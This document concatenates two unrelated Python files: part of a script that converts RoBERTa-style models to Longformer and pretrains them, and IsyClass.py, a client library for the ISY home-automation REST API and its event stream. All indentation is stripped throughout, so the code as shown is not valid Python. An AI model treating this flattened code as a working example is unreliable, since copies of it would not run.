def myrunner(function, ret, *args, **kwargs):
ret[0] = function(*args, **kwargs)
thread = threading.Thread(
target=myrunner, args=(function, ret) + tuple(args), kwargs=kwargs
)
pbar = tqdm.tqdm(total=estimated_time, **tqdm_kwargs)
thread.start()
while thread.is_alive():
thread.join(timeout=tstep)
pbar.update(tstep)
pbar.close()
return ret[0]
def progress_wrapped(estimated_time, tstep=0.2, tqdm_kwargs={}):
def real_decorator(function):
@functools.wraps(function)
def wrapper(*args, **kwargs):
return provide_progress_bar(
function,
estimated_time=estimated_time,
tstep=tstep,
tqdm_kwargs=tqdm_kwargs,
args=args,
kwargs=kwargs,
)
return wrapper
return real_decorator
class TextDataset(Dataset):
# Ugly HACK on older transformers
# Use same code as Huggingface TextDataset
def __init__(
self,
tokenizer: PreTrainedTokenizer,
file_path: str,
block_size: int,
overwrite_cache=False,
cache_dir: Optional[str] = None,
):
assert os.path.isfile(
file_path), f"Input file path {file_path} not found"
block_size = block_size - \
tokenizer.num_special_tokens_to_add(pair=False)
directory, filename = os.path.split(file_path)
cached_features_file = os.path.join(
cache_dir if cache_dir is not None else directory,
"cached_lm_{}_{}_{}".format(
tokenizer.__class__.__name__,
str(block_size),
filename,
),
)
# Make sure only the first process in distributed training processes the dataset,
# and the others will use the cache.
@progress_wrapped(estimated_time=200)
def tokenize_text(text):
return tokenizer.tokenize(text)
@progress_wrapped(estimated_time=300)
def convert_tokens_to_ids(tokenized_text):
return tokenizer.convert_tokens_to_ids(tokenized_text)
if os.path.exists(cached_features_file) and not overwrite_cache:
start = time.time()
with open(cached_features_file, "rb") as handle:
self.examples = pickle.load(handle)
logger.info(
f"Loading features from cached file {cached_features_file} [took %.3f s]",
time.time() - start,
)
else:
logger.info(
f"Creating features from dataset file at {directory}\n\n")
self.examples = []
with open(file_path, encoding="utf-8") as f:
text = f.read()
# For large texts and models, this could take a long time
# Done i two steps, since each part can take between 5-10 min
start = time.time()
text = tokenize_text(text)
logger.info("Tokenizing text [took %.3f s]", time.time() - start)
start = time.time()
tokenized_text = convert_tokens_to_ids(text)
logger.info(
"Converting text to id [took %.3f s]\n", time.time() - start)
start = time.time()
for i in range(
0, len(tokenized_text) - block_size + 1, block_size
): # Truncate in block of block_size
self.examples.append(
tokenizer.build_inputs_with_special_tokens(
tokenized_text[i: i + block_size]
)
)
logger.info(
"Build tokenizer inputs by block_size length [took %.3f s]",
time.time() - start,
)
start = time.time()
with open(cached_features_file, "wb") as handle:
pickle.dump(self.examples, handle,
protocol=pickle.HIGHEST_PROTOCOL)
logger.info(
"Saving features into cached file %s [took %.3f s]",
cached_features_file,
time.time() - start,
)
def __len__(self):
return len(self.examples)
def __getitem__(self, i) -> torch.Tensor:
return torch.tensor(self.examples[i], dtype=torch.long)
###########################################################
#
# Longformer conversion
#
###########################################################
# TODO: Huggingface transformers v. >3.5.1 breaks this
class LongModelSelfAttention(LongformerSelfAttention):
def forward(
self,
hidden_states,
attention_mask=None,
head_mask=None,
encoder_hidden_states=None,
encoder_attention_mask=None,
output_attentions=False,
):
print()
return super().forward(
hidden_states,
attention_mask=attention_mask,
)
# Load initial model
MODEL: PreTrainedModel
if is_roberta_based_model(args.model_name_or_path) == "xlm-roberta":
MODEL = XLMRobertaForMaskedLM
elif is_roberta_based_model(args.model_name_or_path) == "roberta":
MODEL = RobertaForMaskedLM
else:
raise NotImplementedError("Currently only supports roberta-based architectures.")
class LongModelForMaskedLM(MODEL):
def __init__(self, config):
super().__init__(config)
#print(f"\n{color.YELLOW}Converting models to Longformer is currently only tested for RoBERTa like architectures.{color.END}")
for i, layer in enumerate(self.roberta.encoder.layer):
layer.attention.self = LongModelSelfAttention(config, layer_id=i)
def create_long_model(
save_model_to,
model,
tokenizer,
attention_window,
model_max_length
):
config = model.config
position_embeddings = model.roberta.embeddings.position_embeddings
tokenizer.model_max_length = model_max_length
tokenizer.init_kwargs['model_max_length'] = model_max_length
current_model_max_length, embed_size = position_embeddings.weight.shape
# NOTE: RoBERTa has positions 0,1 reserved
# embedding size is max position + 2
model_max_length += 2
config.max_position_embeddings = model_max_length
assert model_max_length > current_model_max_length, \
"New model max_length must be longer than current max_length"
# BUG for XLM: Need to make all zeros since too large base model
new_pos_embed = position_embeddings.weight.new_zeros(
model_max_length, embed_size
)
k = 2
step = current_model_max_length - 2
while k < model_max_length - 1:
new_pos_embed[k:(
k + step)] = position_embeddings.weight[2:]
k += step
# HACK for Huggingface transformers >=3.4.0 and < 4.0
# https://github.com/huggingface/transformers/issues/6465#issuecomment-719042969
position_embeddings.weight.data = new_pos_embed
model.roberta.embeddings.position_embeddings.num_embeddings = len(
new_pos_embed.data
)
num_model_embeddings = position_embeddings.num_embeddings
model.roberta.embeddings.position_ids = torch.arange(
0, num_model_embeddings
)[None]
# replace the `modeling_bert.BertSelfAttention` object with `LongformerSelfAttention`
config.attention_window = [attention_window] * config.num_hidden_layers
for i, layer in enumerate(model.roberta.encoder.layer):
longformer_self_attn = LongformerSelfAttention(config, layer_id=i)
longformer_self_attn.query = layer.attention.self.query
longformer_self_attn.key = layer.attention.self.key
longformer_self_attn.value = layer.attention.self.value
#allenai
longformer_self_attn.query_global = copy.deepcopy(layer.attention.self.query)
longformer_self_attn.key_global = copy.deepcopy(layer.attention.self.key)
longformer_self_attn.value_global = copy.deepcopy(layer.attention.self.value)
#longformer_self_attn.query_global = layer.attention.self.query
#longformer_self_attn.key_global = layer.attention.self.key
#longformer_self_attn.value_global = layer.attention.self.value
layer.attention.self = longformer_self_attn
logger.info(f'saving model to {save_model_to}')
model.save_pretrained(save_model_to)
tokenizer.save_pretrained(save_model_to)
return model, tokenizer
#allenai
def copy_proj_layers(model):
for i, layer in enumerate(model.roberta.encoder.layer):
layer.attention.self.query_global = copy.deepcopy(layer.attention.self.query)
layer.attention.self.key_global = copy.deepcopy(layer.attention.self.key)
layer.attention.self.value_global = copy.deepcopy(layer.attention.self.value)
return model
#def copy_proj_layers(model):
# for _, layer in enumerate(model.roberta.encoder.layer):
# layer.attention.self.query_global = layer.attention.self.query
# layer.attention.self.key_global = layer.attention.self.key
# layer.attention.self.value_global = layer.attention.self.value
# return model
def pretrain_and_evaluate(
training_args, data_args, model, tokenizer, eval_only, model_path
):
val_dataset = TextDataset(
tokenizer=tokenizer,
file_path=data_args.val_file_path,
block_size=tokenizer.max_len,
)
if eval_only:
train_dataset = val_dataset
else:
logger.info(
f"Loading and tokenizing training data is usually slow: {data_args.train_file_path}"
)
train_dataset = TextDataset(
tokenizer=tokenizer,
file_path=data_args.train_file_path,
block_size=tokenizer.max_len,
)
data_collator = DataCollatorForLanguageModeling(
tokenizer=tokenizer, mlm=True, mlm_probability=0.15
)
trainer = Trainer(
model=model,
args=training_args,
data_collator=data_collator,
train_dataset=train_dataset,
eval_dataset=val_dataset,
#deprecated as a keyword argument: move into args.prediction_los_only
#prediction_loss_only=True,
)
eval_loss = trainer.evaluate()
eval_loss = eval_loss["eval_loss"]
print(f"Initial eval bpc: {color.GREEN}{eval_loss/math.log(2)}{color.END}")
logger.info(f"Initial eval bpc: {eval_loss/math.log(2)}")
if not eval_only:
trainer.train(model_path=model_path)
trainer.save_model()
eval_loss = trainer.evaluate()
eval_loss = eval_loss["eval_loss"]
print(
f"Eval bpc after pretraining: \
{color.GREEN}{eval_loss/math.log(2)}{color.END}"
)
logger.info(f"Eval bpc after pretraining: {eval_loss/math.log(2)}")
@dataclass
class ModelArguments:
"""Huggingface parameters for the model training."""
model_name_or_path: str = field(
default=None,
metadata={
"help": "Name of pretrained model to load for model and tokenizer"
", based on huggingface.co/models, ex 'roberta-base'"
},
)
model_name: str = field(
default="roberta-base-long-4096-lm",
metadata={"help": "Name to use when saving model."},
)
attention_window: int = field(
default=512,
metadata={"help": "Size of attention window"}
)
model_max_length: int = field(
default=4096,
metadata={"help": "Maximum position"}
)
cache_dir: Optional[str] = field(
default=None,
metadata={
"help": "Where do you want to store the pretrained models."
},
)
@dataclass
class DataTrainingArguments:
"""Training and validation data arguments."""
val_file_path: str = field(
default="/workspace/data/wikitext-103-raw/wiki.valid.raw",
metadata={"help": "File for training a Language Model"},
)
train_file_path: str = field(
default="/workspace/data/wikitext-103-raw/wiki.train.raw",
metadata={"help": "File for evaluating a Language Model"},
)
def main():
############################################
#
# Define model params
#
############################################
parser = HfArgumentParser(
(ModelArguments, DataTrainingArguments, TrainingArguments)
)
model_args, data_args, training_args = parser.parse_args_into_dataclasses()
print('training_args: ')
print(training_args)
print('training_args n_gpu, device:')
print(training_args.n_gpu)
print(training_args.device)
set_seed(training_args.seed)
if (
os.path.exists(training_args.output_dir)
and os.listdir(training_args.output_dir)
and training_args.do_train
and not training_args.overwrite_output_dir
):
raise ValueError(
f"Output directory ({training_args.output_dir}) \
already exists and is not empty.\
Use --overwrite_output_dir to overcome."
)
###########################################
#
# RUN
#
###########################################
start = time.time()
print("---------------------------------------------------------")
print(
f"\nLoading from Huggingface pretrained model: \
`{color.BOLD}{color.GREEN}\
{model_args.model_name_or_path}\
{color.END}{color.END}` \
with name: {model_args.model_name}\n"
)
model = AutoModelForMaskedLM.from_pretrained(
model_args.model_name_or_path,
cache_dir=model_args.cache_dir,
)
tokenizer = AutoTokenizer.from_pretrained(
model_args.model_name_or_path,
model_max_length=model_args.model_max_length,
cache_dir=model_args.cache_dir,
use_fast=True,
)
print(f"{color.RED}Creating Longformer model{color.END}")
model_path = training_args.output_dir
if not os.path.exists(model_path):
os.makedirs(model_path)
logger.info(
f"Converting {model_args.model_name_or_path} \
into {model_args.model_name}"
)
model, tokenizer = create_long_model(
save_model_to=model_path,
model=model,
tokenizer=tokenizer,
attention_window=model_args.attention_window,
model_max_length=model_args.model_max_length,
)
print(f"{color.RED}Loading Model{color.END}")
logger.info(f"Loading the model from {model_path}")
model = LongModelForMaskedLM.from_pretrained(model_path)
tokenizer = AutoTokenizer.from_pretrained(
model_path,
model_max_length=model_args.model_max_length,
use_fast=True
)
print(f"{color.RED}Evaluate{color.END}")
logger.info(
f"Pretraining \
{model_args.model_name_or_path}-{model_args.model_max_length}... "
)
pretrain_and_evaluate(
training_args,
data_args,
model,
tokenizer,
eval_only=False,
model_path=training_args.output_dir,
)
print(
f"{color.PURPLE}TIME elapsed{color.END}: {datetime.datetime.fromtimestamp(time.time()-start).strftime('%d days, %H:%M:%S')}"
)
logger.info(
"Copying local projection layers into global projection layers..."
)
model = copy_proj_layers(model)
logger.info(f"Saving model to {model_path}")
model.save_pretrained(model_path)
print(f"{color.RED}Loading Done model{color.END}")
logger.info(f"Loading the model from {model_path}")
model = LongModelForMaskedLM.from_pretrained(model_path)
tokenizer = AutoTokenizer.from_pretrained(model_path)
if __name__ == "__main__":
main()
|
IsyClass.py |
"""Simple Python lib for the ISY home automation netapp
This is a Python interface to the ISY rest interface
providomg simple commands to query and control registared Nodes and Scenes
and well as a method of setting or querying vars
"""
__author__ = 'Peter Shipley <peter.shipley@gmail.com>'
__copyright__ = "Copyright (C) 2015 Peter Shipley"
__license__ = "BSD"
__version__ = "0.1.20160710"
#from xml.dom.minidom import parse, parseString
# from StringIO import StringIO
# import xml.etree.ElementTree as # ET
# import base64
import re
import os
import sys
#import string
import time
from warnings import warn
import logging
import xml.etree.ElementTree as ET
import json
#logging.basicConfig(level=logging.INFO)
import collections
#try:
# from suds.client import Client
# suds_import = 1
#except ImportError:
# suds_import = 0
from ISY.IsyUtilClass import IsyUtil, IsySubClass, et2d
# from ISY.IsyNodeClass import IsyNode, IsyScene, IsyNodeFolder, _IsyNodeBase
from ISY.IsyProgramClass import *
#from ISY.IsyVarClass import IsyVar
from ISY.IsyExceptionClass import *
from ISY.IsyEvent import ISYEvent
from ISY.IsyDebug import *
import pprint
if sys.hexversion < 0x3000000:
import urllib2 as URL
# HTTPPasswordMgrWithDefaultRealm = URL.HTTPPasswordMgrWithDefaultRealm
# Request, build_opener, request, HTTPBasicAuthHandler, HTTPPasswordMgrWithDefaultRealm, URLError, HTTPError
else:
import urllib as URL
from urllib.request import HTTPPasswordMgrWithDefaultRealm
# import netrc
# Debug Flags:
# 0x0001 = report loads
# 0x0002 = report urls call
# 0x0004 = report func call
# 0x0008 = Dump loaded data
#
# 0x0010 = report changes to nodes
# 0x0020 = report soap web
# 0x0040 = report events
# 0x0080 = print __del__()
#
# 0x0100 =
# 0x0200 = report responce data
# 0x0400 = report raw events
# 0x0800 =
#
# 0x1000 =
# 0x2000 =
# 0x4000 =
# 0x8000 =
#
#
# EventUpdate Mask:
# 0x00 = update all
# 0x01 = Ignore Node events
# 0x02 = Ignore Var events
# 0x04 = Ignore Program events
# 0x08 =
# 0x10 = Ignore Climate events
# 0x20 =
# 0x40 =
# 0x80 =
#
_pro_models = [1100, 1110, 1040, 1050]
__all__ = ['Isy', 'IsyGetArg']
# if hasattr(instance, 'tags') and isinstance(instance.tags, dict):
# for tag in instance.tags:
# def batch .write
# _nodedict dictionary of node data indexed by node ID
# node2addr dictionary mapping node names to node ID
# nodeCdict dictionary cache or node objects indexed by node ID
class Isy(IsyUtil):
""" Obj class the represents the ISY device
Keyword Args:
addr : IP address of ISY
userl/userp : User Login / Password
debug : Debug flags (default 0)
cachetime : cache experation time [NOT USED] (default 0)
faststart : ( ignored if eventupdate is used )
0=preload cache as startup
1=load cache on demand
eventupdates: run a sub-thread and stream events updates from ISY
same effect as calling Isy().start_event_thread()
"""
# import functions
from ISY._isyclimate import load_clim, clim_get_val, clim_query, clim_iter
from ISY._isyvar import load_vars, \
var_get_value, var_set_value, _var_set_value, \
var_addrs, var_ids, get_var, _var_get_id, \
var_get_type, var_iter, var_add, \
var_delete, _var_delete, \
var_rename, _var_rename, \
var_refresh_value
from ISY._isyprog import load_prog, get_prog, _prog_get_id, \
prog_iter, prog_get_src, prog_addrs, \
prog_comm, _prog_comm, \
prog_get_path, _prog_get_path, \
prog_rename, _prog_rename
from ISY._isynode import load_nodes, _gen_member_list, _gen_folder_list, \
_gen_nodegroups, _gen_nodedict, node_names, scene_names, \
node_addrs, scene_addrs, get_node, _node_get_id, node_get_prop, \
node_set_prop, _node_send, node_comm, _updatenode, \
load_node_types, node_get_type, node_iter, _updatenode, \
node_get_path, _node_get_path, _node_get_name, \
node_set_powerinfo, node_enable, \
node_del, _node_remove, \
node_restore, node_restore_all, \
node_get_notes
# node_rename,
from ISY._isynet_resources import _load_networking, load_net_resource, \
_net_resource_get_id, net_resource_run, \
net_resource_names, net_resource_iter, \
load_net_wol, net_wol, _net_wol_get_id, net_wol_names, net_wol_iter, \
net_wol_ids, net_resource_ids
# from ISY._isyzb import load_zb, zb_scannetwork, zb_ntable, zb_ping_node, \
# zbnode_addrs, zbnode_names, zbnode_iter
## set_var_value, _set_var_value, var_names
if sys.hexversion < 0x3000000:
_password_mgr = URL.HTTPPasswordMgrWithDefaultRealm()
_handler = URL.HTTPBasicAuthHandler(_password_mgr)
_opener = URL.build_opener(_handler)
#_opener = URL.build_opener(_handler, URL.HTTPHandler(debuglevel=1))
# URL.HTTPHandler(debuglevel=1)
else:
_password_mgr = URL.request.HTTPPasswordMgrWithDefaultRealm()
_handler = URL.request.HTTPBasicAuthHandler(_password_mgr)
_opener = URL.request.build_opener(_handler)
def __init__(self, **kwargs):
#
# Keyword args
#
self.userl = kwargs.get("userl", os.getenv('ISY_USER', "admin"))
self.userp = kwargs.get("userp", os.getenv('ISY_PASS', "admin"))
self.addr = kwargs.get("addr", os.getenv('ISY_ADDR', None))
# (self.userl, self.userp, self.addr) = authtuple
# print "AUTH: ", self.addr, self.userl, self.userp
self.debug = kwargs.get("debug", 0)
if "ISY_DEBUG" in os.environ:
self.debug = self.debug & int(os.environ["ISY_DEBUG"])
# self.cachetime = kwargs.get("cachetime", 0)
self.faststart = kwargs.get("faststart", 1)
self.eventupdates = kwargs.get("eventupdates", 0)
# and experiment alt to IsyGetArg
self.parsearg = kwargs.get("parsearg", False)
if self.parsearg:
self.parse_args()
self._isy_event = None
self.event_heartbeat = 0;
self.error_str = ""
self.callbacks = None
self._is_pro = True
# data dictionaries for ISY state
self._name2id = dict()
self.controls = None
self.name2control = None
self._nodefolder = None
self._folder2addr = None
self._progdict = None
self._nodedict = None
self._nodegroups = None
self._groups2addr = None
self._node2addr = None
self._nodeCategory = None
self._vardict = None
self._wolinfo = None
self._net_resource = None
self.climateinfo = None
self.isy_status = dict()
self.zigbee = dict()
if self.addr is None:
from ISY.IsyDiscover import isy_discover
units = isy_discover(count=1)
for device in list(units.values()):
self.addr = device['URLBase'][7:]
self.baseurl = device['URLBase']
else:
self.baseurl = "http://" + self.addr
if self.addr is None:
warn("No ISY address : guessing \"isy\"")
self.addr = "isy"
# print "\n\taddr", "=>", self.addr, "\n\n"
# if ( not self.userl or not self.userp ):
# netrc_info = netrc.netrc()
# login, account, password = netrc_info.authenticators(self.addr)
# print "login", "=>", repr(login)
# print "account", "=>", repr(account)
# print "password", "=>", repr(password)
# self.userl = "admin"
# self.userp = "admin"
if self.debug & _debug_loads_:
print("class Isy __init__")
print(("debug ", self.debug))
# print("cachetime ", self.cachetime)
print(("faststart ", self.faststart))
print(("address ", self.addr))
# parse ISY_AUTH as LOGIN:PASS
#
# general setup logic
#
Isy._handler.add_password(None, self.addr, self.userl, self.userp)
# self._opener = URL.build_opener(Isy._handler, URL.HTTPHandler(debuglevel=1))
# self._opener = URL.build_opener(Isy._handler)
if self.debug & 0x02:
print(("baseurl: " + self.baseurl + " : " + self.userl + " : " + self.userp))
if self.faststart < 2:
try:
self.load_conf()
except URL.error.URLError as e:
print(("Unexpected error:", sys.exc_info()[0]))
print('Problem connecting with ISY device :', self.addr)
print(e)
raise IsyCommunicationError(e)
if not self.faststart:
self.load_nodes()
# There for id's to Node/Var/Prog objects
self.nodeCdict = dict()
self.varCdict = dict()
self.progCdict = dict()
self.folderCdict = dict()
if self.eventupdates:
if not self._progdict:
self.load_prog()
if not self._nodedict:
self.load_nodes()
self.start_event_thread()
# and experimental alternitive to IsyGetArg
def parse_args(self):
"""
Use argparse to extract common options
unused options placed in self.unknown_args
this is a alternitive to IsyGetArg
"""
import argparse
parser = argparse.ArgumentParser(add_help=False)
parser.add_argument("-d", "--debug", dest="debug",
default=self.debug,
type=int,
# action="count",
nargs='?',
help="debug options")
parser.add_argument("-a", "--address", dest="addr",
default=os.getenv('ISY_ADDR', None),
help="hostname or IP device")
parser.add_argument("-u", "--user", dest="user",
default=os.getenv('ISY_USER', None),
help="Admin Username")
parser.add_argument("-p", "--pass", dest="passw",
default=os.getenv('ISY_PASS', None),
help="Admin Password")
args, self.unknown_args = parser.parse_known_args()
if args.addr:
self.addr = args.addr
if args.user:
self.userl = args.user
if args.passw:
self.userp = args.passw
if args.debug:
self.debug = args.debug
self.parser = parser
#
# Event Subscription Code
# Allows for treaded realtime node status updating
#
def start_event_thread(self, mask=0):
""" starts event stream update thread
mask will eventually be used to "masking" events
"""
from threading import Thread
if (self.debug & 0x40):
print("start_event_thread")
# if thread already runing we should update mask
if hasattr(self, 'event_thread') and isinstance(self.event_thread, Thread):
if self.event_thread.is_alive():
print("Thread already running ?")
return
#st = time.time()
#print("start preload")
self._preload(rload=0)
#sp = time.time()
#print("start complete")
#print "load in ", (sp - st)
self._isy_event = ISYEvent(debug=self.debug)
self._isy_event.subscribe(addr=self.addr, userp=self.userp, userl=self.userl)
self._isy_event.set_process_func(self._read_event, self)
self.event_thread = Thread(target=self._isy_event.events_loop, name="event_looper")
self.event_thread.daemon = True
self.event_thread.start()
self.eventupdates = True
# print(self.event_thread)
def stop_event_tread(self):
""" Stop update thread """
if hasattr(self._isy_event, "_shut_down"):
self._isy_event._shut_down = 1
self.eventupdates = False
# @staticmethod
def _read_event(self, evnt_dat, *arg):
""" read event stream data and copy into internal state cache
internal function call
"""
# print("_read_event")
skip_default = [
# "_0", "_2", "_4", "_5", "_6", "_7", "_8",
# "_9", "_10", "_11", "_12", "_13", "_14",
# "_15", "_16", "_17", "_18", "_19", "_20",
"DON", "DOF",
]
skip = skip_default
assert isinstance(evnt_dat, dict), "_read_event Arg must me dict"
# event_targ holds the node address or var id
# for the current event ( if applicable )
event_targ = None
#if evnt_dat["control"] in skip:
# return
# print "evnt_dat ", evnt_dat
#
# Status/property changed
#
if evnt_dat["control"] in ["ST", "RR", "OL","DON"]:
if evnt_dat["node"] in self._nodedict:
# ADD LOCK ON NODE DATA
# print("===evnt_dat :", evnt_dat)
# print("===a :", ar)
#print(self._nodedict[evnt_dat["node"]])
target_node = self._nodedict[evnt_dat["node"]]
event_targ = evnt_dat["node"]
# create property if we do not have it yet
if not evnt_dat["control"] in target_node["property"]:
target_node["property"][evnt_dat["control"]] = dict()
target_node["property"][evnt_dat["control"]]["value"] \
= evnt_dat["action"]
target_node["property"][evnt_dat["control"]]["formatted"] \
= self._format_val(evnt_dat["action"])
if (self.debug & 0x10):
print(("_read_event :", evnt_dat["node"], evnt_dat["control"], evnt_dat["action"]))
print((">>>", self._nodedict[evnt_dat["node"]]["property"]))
else:
warn("Event for Unknown node : {0}".format(evnt_dat["node"]), \
IsyRuntimeWarning)
elif evnt_dat["control"] == "_0" : # HeartBeat
#self.event_heartbeat = time.gmtime()
pass
#
# handle VAR value change
#
elif evnt_dat["control"] == "_1" : # Trigger Events
#
# action = "0" -> Event Status
# action = "1" -> Client Should Get Status
# action = "2" -> Key Changed
# action = "3" -> Info String
# action = "4" -> IR Learn Mode
# action = "5" -> Schedule (schedule status changed)
# action = "6" -> Variable Status (status of variable changed)
# action = "7" -> Variable Initialized (initial value of a variable )
#
if evnt_dat["action"] == "0" and 'nr' in evnt_dat['eventInfo']:
prog_id = '{0:0>4}'.format(evnt_dat['eventInfo']['id'])
event_targ = prog_id
if (self.debug & 0x40):
print("Prog Change/Updated :\t{0}".format(evnt_dat['eventInfo']['id']))
print("Prog Id :\t", prog_id)
print("evnt_dat :\t", evnt_dat)
if self._progdict is None:
self.load_prog(prog_id)
elif prog_id in self._progdict:
prog_dict = self._progdict[prog_id]
if 'on' in evnt_dat['eventInfo']:
prog_dict['enabled'] = 'true'
elif 'off' in evnt_dat['eventInfo']:
prog_dict['enabled'] = 'false'
else:
pass
if 'rr' in evnt_dat['eventInfo']:
prog_dict['runAtStartup'] = 'true'
elif 'nr' in evnt_dat['eventInfo']:
prog_dict['runAtStartup'] = 'false'
else:
pass
# not all prog change events have time Info
if 'r' in evnt_dat['eventInfo']:
prog_dict['lastRunTime'] = evnt_dat['eventInfo']['r']
if 'f' in evnt_dat['eventInfo']:
prog_dict['lastFinishTime'] = evnt_dat['eventInfo']['f']
if 'nsr' in evnt_dat['eventInfo']:
prog_dict['nextScheduledRunTime'] = evnt_dat['eventInfo']['nsr']
ev_status = int(evnt_dat['eventInfo']['s'])
if ev_status & 0x01:
prog_dict['running'] = 'idle'
elif ev_status & 0x02:
prog_dict['running'] = 'then'
elif ev_status & 0x03:
prog_dict['running'] = 'else'
if ev_status & 0x10:
prog_dict['status'] = 'unknown'
elif ev_status & 0x20:
prog_dict['status'] = 'true'
elif ev_status & 0x30:
prog_dict['status'] = 'false'
elif ev_status & 0xF0:
prog_dict['status'] = 'not_loaded'
else:
# TODO : Figure out why we are here...
pass
# '0002': { 'enabled': 'true',
# 'folder': 'false',
# 'id': '0002',
# 'lastFinishTime': '2013/03/30 15:11:25',
# 'lastRunTime': '2013/03/30 15:11:25',
# 'name': 'QueryAll',
# 'nextScheduledRunTime': '2013/03/31 03:00:00',
# 'parentId': '0001',
# 'runAtStartup': 'false',
# 'running': 'idle',
# 'status': 'false'},
if evnt_dat["action"] == "6" or evnt_dat["action"] == "7":
var_eventInfo = evnt_dat['eventInfo']['var']
vid = var_eventInfo['var-type'] + ":" + var_eventInfo['var-id']
# check if the event var exists in out world
if vid in self._vardict:
# ADD LOCK ON VAR DATA
# copy var properties from event
event_targ = vid
self._vardict[vid].update(var_eventInfo)
self._vardict[vid]["val"] = int(self._vardict[vid]["val"])
self._vardict[vid]["init"] = int(self._vardict[vid]["init"])
else:
warn("Event for Unknown Var : {0}".format(vid), IsyRuntimeWarning)
elif evnt_dat["control"] == "_2" : # Driver Specific Events
pass
elif evnt_dat["control"] == "_3" : # Node Change/Updated Event
if (self.debug & 0x40):
print(("Node Change/Updated Event : {0}".format(evnt_dat["node"])))
print(("evnt_dat : ", evnt_dat))
#
# action = "NN" -> Node Renamed
# action = "NR" -> Node Removed
# action = "ND" -> Node Added
# action = "NR" -> Node Revised
# action = "MV" -> Node Moved (into a scene)
# action = "CL" -> Link Changed (in a scene)
# action = "RG" -> Removed From Group (scene)
# action = "EN" -> Enabled
# action = "PC" -> Parent Changed
# action = "PI" -> Power Info Changed
# action = "DI" -> Device ID Changed
# action = "DP" -> Device Property Changed
# action = "GN" -> Group Renamed
# action = "GR" -> Group Removed
# action = "GD" -> Group Added
# action = "FN" -> Folder Renamed
# action = "FR" -> Folder Removed
# action = "FD" -> Folder Added
# action = "NE" -> Node Error (Comm. Errors)
# action = "CE" -> Clear Node Error (Comm. Errors Cleared)
# action = "SN" -> Discovering Nodes (Linking)
# action = "SC" -> Node Discovery Complete
# action = "WR" -> Network Renamed
# action = "WH" -> Pending Device Operation
# action = "WD" -> Programming Device
# action = "RV" -> Node Revised (UPB)
if evnt_dat['action'] == 'EN' : # Enable
if evnt_dat['node'] in self._nodedict:
self._nodedict[evnt_dat['node']]['enabled'] = evnt_dat['eventInfo']['enabled']
elif evnt_dat['action'] == 'GN' : # Group Renamed
if evnt_dat['node'] in self._nodegroups:
oldname = self._nodegroups[evnt_dat['node']]['name']
self._nodegroups[evnt_dat['node']]['name'] = evnt_dat['eventInfo']['newName']
self._groups2addr[evnt_dat['eventInfo']['newName']] = evnt_dat['node']
del self._groups2addr[oldname]
if evnt_dat['eventInfo']['newName'] in self._name2id:
# warn Dup ID
if self._name2id[evnt_dat['eventInfo']['newName']][0] == "group":
self._name2id[evnt_dat['eventInfo']['newName']] = ("group", evnt_dat['node'])
else:
self._name2id[evnt_dat['eventInfo']['newName']] = ("group", evnt_dat['node'])
# Delete old entery if it is 'ours'
if oldname in self._name2id and self._name2id[oldname][0] == "group":
del self._name2id[oldname]
elif evnt_dat['action'] == 'GR' : # Group Removed/Deleted
if (self.debug & 0x40):
print(("evnt_dat :", evnt_dat))
pass
elif evnt_dat['action'] == 'GD' : # New Group Added
if (self.debug & 0x40):
print(("evnt_dat :", evnt_dat))
pass
elif evnt_dat['action'] == 'ND':
node_id = evnt_dat["node"]
node_dat = evnt_dat['eventInfo']['node']
if node_id in self.nodedict:
self.nodedict[node_id].update(node_dat)
else:
self.nodedict[node_id] = node_dat
#
# At this time results are undefined for
# Node class objects that represent a deleted node
#
elif evnt_dat['action'] == 'NR':
node_id = evnt_dat["node"]
if node_id in self.nodedict:
node_name = self.nodedict[node_id]["name"]
if "property" in self.nodedict[node_id]:
self.nodedict[node_id]["property"].clear()
del self.nodedict[node_id]["property"]
if self._node2addr and node_name in self._node2addr:
self._node2addr[node_name]
if self._name2id and node_name in self._name2id:
self._name2id[node_name]
if node_id in self.nodeCdict:
self.nodeCdict[node_id]
elif evnt_dat['action'] == 'FD':
if 'folder' in evnt_dat['eventInfo'] and isinstance(evnt_dat['eventInfo']['folder'], dict):
self._nodefolder[evnt_dat['node']] = evnt_dat['eventInfo']['folder']
self._folder2addr[evnt_dat['eventInfo']['folder']['name']] = evnt_dat['node']
elif evnt_dat['action'] == 'FR':
if evnt_dat['node'] in self._nodefolder:
if evnt_dat['node'] in self.nodeCdict:
# this is tricky if the user has a IsyNodeFolder obj
# more has to be done to tell the Obj it's dead
del self.nodeCdict[evnt_dat['node']]
del self._nodefolder[evnt_dat['node']]
elif evnt_dat['action'] == 'FN':
if evnt_dat['node'] in self._nodefolder:
oldname = self._nodefolder[evnt_dat['node']]['name']
self._nodefolder[evnt_dat['node']]['name'] = evnt_dat['eventInfo']['newName']
self._folder2addr[evnt_dat['eventInfo']['newName']] = evnt_dat['node']
del self._folder2addr[oldname]
elif evnt_dat["control"] == "_4" : # System Configuration Updated
pass
#
# action = "0" -> Time Changed
# action = "1" -> Time Configuration Changed
# action = "2" -> NTP Settings Updated
# action = "3" -> Notifications Settings Updated
# action = "4" -> NTP Communications Error
# action = "5" -> Batch Mode Updated
# node = null
# <eventInfo>
# <status>"1"|"0"</status>
# </eventInfo>
# action = "6" Battery Mode Programming Updated
# node = null
# <eventInfo>
# <status>"1"|"0"</status>
# </eventInfo>
if evnt_dat['action'] == '5':
if 'status' in evnt_dat['eventInfo']:
if evnt_dat['eventInfo']['status'] == "1":
self.isy_status['batchmode'] = True
else:
self.isy_status['batchmode'] = False
# self.isy_status['batchmode'] = (evnt_dat['eventInfo']['status'] == "1")
elif evnt_dat['action'] == '6':
if 'status' in evnt_dat['eventInfo']:
if evnt_dat['eventInfo']['status'] == "1":
self.isy_status['battery_mode_prog_update'] = True
else:
self.isy_status['battery_mode_prog_update'] = False
#self.isy_status['battery_mode_prog_update'] = (evnt_dat['eventInfo']['status'] == "1")
# status_battery_mode_prog_update
elif evnt_dat["control"] == "_5" : # System Status Updated
pass
#
# node = null
# action = "0" -> Not Busy
# action = "1" -> Busy
# action = "2" -> Idle
# action = "3" -> Safe Mode
#
elif evnt_dat["control"] == "_6" : # Internet Access Status
pass
#
# action = "0" -> Disabled
# action = "1" -> Enabled
# node = null
# <eventInfo>external URL</eventInfo>
# action = "2" -> Failed
#
elif evnt_dat["control"] == "_7" : # Progress Report
pass
elif evnt_dat["control"] == "_8" : # Security System Event
pass
elif evnt_dat["control"] == "_9" : # System Alert Event
pass
elif evnt_dat["control"] == "_10" : # OpenADR and Flex Your Power Events
pass
elif evnt_dat["control"] == "_11" : # Climate Events
pass
elif evnt_dat["control"] == "_12" : # AMI/SEP Events
pass
